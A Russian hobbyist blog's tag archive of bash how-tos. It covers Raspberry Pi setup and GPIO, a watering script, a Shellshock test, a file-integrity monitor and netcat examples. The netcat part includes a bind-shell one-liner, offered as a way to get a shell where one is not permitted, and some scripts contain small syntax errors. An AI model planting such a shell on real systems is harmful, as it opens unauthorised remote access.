Архив метки: bash

Пример алиаса для bash

Пример использования команды alias для bash:

$ alias pingoogle="ping -c3 8.8.8.8"

Теперь по команде pingoogle будут пропингованы dns-серверы google:

pi@raspberrypi ~ $ pingoogle 
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
From 192.168.1.30 icmp_seq=1 Destination Host Unreachable
From 192.168.1.30 icmp_seq=2 Destination Host Unreachable
From 192.168.1.30 icmp_seq=3 Destination Host Unreachable

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 0 received, +3 errors, 100% packet loss, time 2005ms
pipe 3

Всё что нужно для начала работы с Raspberry Pi

Что полезно знать

Для дистрибутива Raspbian по умолчанию логин pi, пароль raspberry

Стандартная консольная программа для изменения настроек малинки — raspi-config

Стандартная консольная команда для запуска оконного менеджера — startx

Максимальна скорость сети по Ethernet на самом деле не 100 Мбит/с, а около 24 Мбит/с (вроде потому что через шину USB)

Для ножек GPIO стандартное напряжение 3.3В, вроде как если превысить, то сгорит

Для удобства работы с ножками GPIO, на них можно одевать фишки с проводами, которые можно надёргать с материнской платы из старого системника (LPT, USB, звук от CDROM, фишки от кулеров и т.п.), ну или можно купить нормальные провода в радиотоварах.

Для подключения светодиодов во всех источниках советуют использовать дополнительное сопротивление, чтобы не спалить.

Как подготовить загрузочную флэшку (под Linux)

Скачать дистрибутив в виде архива zip с файлом img внутри http://downloads.raspberrypi.org/raspbian_latest

Распаковать архив

Залить образ на флэшку командой $ sudo dd if=raspbian.img of=/dev/sdc (вместо sdc подставляйте своё название диска, смотреть например через gparted)

Как включить

Вставить загрузочную флэшку Raspbian

Если надо, подключить клаву, мышь, телевизор, колонки и Ethernet

Подключить к блоку питания microusb с напряжением 5.0 В, малинка включится автоматически

При необходимости набрать логин — пароль pi — raspberry

При необходимости включить оконный менеджер — $ startx

Как подключиться по сети через SSH

Сперва выяснить ip-адрес, который получила малинка:

  • Если зашли локально через телевизор, то в консоли $ ifconfig eth0
  • Через вебморду роутера найти по списку арендованных адресов
  • Любым сканером сети
  • Просто угадать адрес командой ping

Подключиться к командной строке по SSH

  • Из консоли: $ ssh pi@192.168.1.30
  • Через программу PUTTY

Что рекомендуется настраивать в первую очередь

Через программу raspi-config

  • Сменить пароль по умолчанию
  • Расширить основной раздел на всю флэшку

Как присвоить статический ip-адрес

В файле /etc/network/interfaces удаляем строку iface eth0 inet dhcp, вместо неё добавляем строки

iface eth0 inet static
address 192.168.1.30
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1

Получается примерно так:

$ sudo nano /etc/network/interfaces 
auto lo

iface lo inet loopback
# iface eth0 inet dhcp
iface eth0 inet static
address 192.168.1.30
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1

allow-hotplug wlan0
iface wlan0 inet manual
wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp

Дальше надо отредактировать адреса DNS-серверов, которыми будет пользоваться малинка. Для этого надо отредактировать файл resolv.conf:

sudo nano /etc/resolv.conf
nameserver 8.8.8.8
nameserver 8.8.4.4

После этого сохраняемся и перезагружаемся

Как из консоли проигрывать звуковые файлы

Решил установкой mplayer:

$ sudo apt-get install mplayer

После успешной установки проигрывать файлы так:

$ mplayer /usr/share/scratch/Media/Sounds/Music\ Loops/HipHop.mp3

Ножки GPIO

Интерактивный справочник по ножкам

Работа с GPIO через файлы

Это пример выдачи напряжения 3.3В на ножку 7 (GPIO4):

pi@raspberrypi ~ $ cd /sys/class/gpio/
pi@raspberrypi /sys/class/gpio $ ls
export  gpiochip0  unexport
pi@raspberrypi /sys/class/gpio $ echo 4 > export 
pi@raspberrypi /sys/class/gpio $ ls
export  gpio4  gpiochip0  unexport
pi@raspberrypi /sys/class/gpio $ cat gpio4/direction 
in
pi@raspberrypi /sys/class/gpio $ echo out > gpio4/direction 
pi@raspberrypi /sys/class/gpio $ cat gpio4/direction 
out
pi@raspberrypi /sys/class/gpio $ cat gpio4/value 
0
pi@raspberrypi /sys/class/gpio $ echo 1 > gpio4/value 
pi@raspberrypi /sys/class/gpio $ cat gpio4/value 
1
pi@raspberrypi /sys/class/gpio $ echo 0 > gpio4/value 
pi@raspberrypi /sys/class/gpio $ echo 1 > gpio4/value

Подключение лампочки

Чтоб лампочка загорелась, она должна быть подключена к 2 ножкам GPIO, между которыми есть разность потенциалов, то есть на одной напряжение должно быть 3.3В (соответствует единице в примере выше), а на другой 0. Если используем не лампу, а светодиод, то нужно ещё и соблюсти полярность. Если лампа расчитана на более низкое напряжение, то нужно к ней последовательно подключить подходящее сопротивление, чтобы не сгорела.

Подключение реле

Реле — это такой выключатель, который срабатывает при подаче на него управляющего сигнала.

Малинка отлично работает в связке с вот такой штуковиной 4 Channel 5V Relay Module BK_RL4_01 (4 реле, расчитанные на напряжение до 250В)

Питание на эту штуку можно подать от второго блока питания на 5В (например от телефона), предварительно распоров и оконцевав фишками жилы. Ножки GND на плате с релюшками и на малинке нужно скомутировать между собой, без этого сигнал с малинки не придёт. Нужные ножки каналов на плате с реле соединяем с нужными ножками портов GPIO на малинке. Теперь при подаче единицы на нужный порт GPIO, реле со щелчком переключится, и например, заработает какой-нибудь электроприбор с напряжением 220В.

Подключение кнопки

Для реакции малинки на кнопки, которые хотим подключить к портам GPIO, для порта direction должен быть in, скрипт, отвечающий за реакцию на нажатие, должен работать в цикле (bash, perl, C) и следить за состоянием порта (0 или 1)

Заключение

Приведённого выше материала в принципе хватит даже на создание простенького робота. Например, по команде из консоли «vpered» заставил ездить детскую машинку на пульте упавления.

Что такое Shellshock для BASH, и как провериться

Shellshock (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187)  — это уязвимость в командной строке bash, которая позволяет атакующим удалённо запускать произвольные команды на уязвимой системе. Если BASH в последний раз обновлялся до 1 октября, то скорее всего уязвима. Уязвимы версии BASH начиная с версии 1.14 (1994 года выпуска) по последнюю версию 4.3.

Код для проверки системы на наличие уязвимости:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Если в результате выполнения будет написано «vulnerable», значит система уязвима.

Raspberry Pi: автоматический полив грядок (не закончено)

Проект автополива  грядок на основе Raspberry PI, пока не закончен.

Имеется в наличии

Бак водонапорный к нему подключены 2 датчика верхний (DL1) и нижний уровень (D2) , реле полива (RL1) , насос из колодца (NS1)

Алгоритм работы 

1. Запуск полива по времени через кронтаб в 21.00

Если бак не пустой ( реле нижний уровень включено ) то включить реле полива

Поливать до тех пор пока бак не опустеет ( реле нежнего уровня выключено)

Выключить реле полива

2. Наполнить водонапорный бак

Включить насос

Насос работае до тех пор пока не выключиться реле на водонапорном баке ( реле верхнего уровня)

Завершить работу насоса

3. Ждать следующего включения в 21.00

Управление портами

Установка высокого и низкого уровней для порта, настроенного на выход выполняется так:

$ echo 1 > /sys/class/gpio/gpioXX/value
$ echo 0 > /sys/class/gpio/gpioXX/value

Определение состояние порта, настроенного на вход делается так:

$ cat /sys/class/gpio/gpioXX/value

Исходный код скрипта, запускающего автополив

#!/bin/bash 
DL1="..."    #подставить /sys/class/gpio/gpioXX/value 
D2="..."    #подставить /sys/class/gpio/gpioXX/value 
RL1="..."    #подставить /sys/class/gpio/gpioXX/value 
NS1="..."    #подставить /sys/class/gpio/gpioXX/value 
 
#1 
while ["$(cat $D2)" != '0'] ; do #Поливать до тех пор пока бак не опустеет ( реле нежнего уровня выключено) 
    echo 1 > $RL1            #включить реле полива 
    sleep 5     #через сколько секунд повторить проверку 
done 
echo 0 > $RL1 #Выключить реле полива 
 
#2 
echo 1 > $NS1        #Включить насос 
while ["$(cat $DL1)" != '0'] ; do #не выключиться реле на водонапорном баке ( реле верхнего уровня) 
    sleep 5     #через сколько секунд повторить проверку 
done 
echo 0 > $NS1    #Завершить работу насоса 
 
#3 конец, Ждать следующего включения в 21.00

Для справки:
http://eddnet.org/?p=1311 — условия
http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-7.html — циклы
http://younglinux.info/bash/commands.php — sleep
http://www.bash-scripting.ru/abs/chunks/ch04.html — работа с переменными

 

Мониторинг изменений файлов в linux

Скрипт взял здесь http://www.iamroot.ru/2013/01/kontrol-izmeneniya-fajlov-v-linux.html

Скрипт:

#!/bin/bash

ulimit -t 20
checkdir="/bin /sbin"
filedb="/var/tmp/permsecdb"
email="test@iamroot.ru"

out=$(
exec 2>&1
umask 266
find $checkdir -type f -printf "%m\t" -exec md5sum {} \; >$filedb.tmp
diff $filedb $filedb.tmp
mv -f $filedb.tmp $filedb
)
if [ "$out" ];then 
 (date; echo; echo "$out") | mail -s "Change permsec `hostname`" $email fi

Скрипт проходится по всем файлам в папках из checkdir, считает их контрольные суммы MD5, результаты записывает в файл filedb и сравнивает его с результатами прошлой проверки командой diff. Если обнаружены изменения, отправляется оповещение на test@iamroot.ru, если нет, то ничего не происходит. Скрипт надо добавлять заданием в cron, чтоб выполнялся по расписанию.

ресайз фотографий через Cygwin ImageMagick

ресайз фотографий через Cygwin ImageMagick

для справки — http://renotes.ru/post-43/image-resize

$ convert.exe -resize 64X64 test.jpg resized/test.jpg

Для целой папки с картинками:

cd ~/img
for i in *.jpg; do convert -resize 64x64 $i resize_$i; don

 

Как смотреть видео с нескольких вебкамер в Ubuntu Linux

Кратко о том, зачем всё это мне понадобилось. Увидел в магазине дешевые вебкамеры по 99р. и решил развешать по своей машине (парковаться удобнее и т.п.) Типа камеры подключаются через удлинители в usb-хаб, дальше в ноутбук, ну и там будем смотреть себе под задний бампер и ещё куда-нибудь.

Будем использовать проигрыватель VLC. sudo apt-get install vlc наверно все умеют делать. Предварительно его надо настроить на работу в многооконном режиме: инструменты — настройки — интерфейс — снять галочку «разрешить только одну копию». Там же можно включить «минимальный режим (без панелей)» — так будет удобнее на видео смотреть.

Подключаем к ноутбуку, или что у нас там, все наши камеры и узнаём их имена командой

$ ls /dev | grep video
video0
video1

Открываются камеры так:

vlc v4l2:///dev/video0
vlc v4l2:///dev/video1

короче те устройства, которые нашли выше. Вот примерно так всё работает. Надо будет ещё скрипт написать, который будет сам по списку видеокамер пробегаться и vlc запускать.

Практические примеры использования утилиты netcat.

Статья «Netcat and Reverse Telnet» иллюстрирует как с помощью утилиты netcat (nc) осуществить создание простейшего туннеля, например, для организации работы в shell, на машине явно не допускающей такое действие.

Простейший echo-туннель:
  Серверный процесс: nc -l -p 5600
  Клиент: nc 10.0.1.1 5600

netcat для пересылки файла:
 Сервер (куда писать файл): nc -v -w 30 -p 5600 l- > filename.back
 Клиент: nc -v -w 2 10.0.1.1 5600 < filename

Работа в shell через туннель
  Сервер: nc -l -p 5600 -e /bin/bash
  Клиент: nc 10.0.1.1. 5600
Серверный код можно запустить, например, через cgi-скрипт или .forward файл.
Запись опубликована автором в рубрике Без рубрики с метками , , .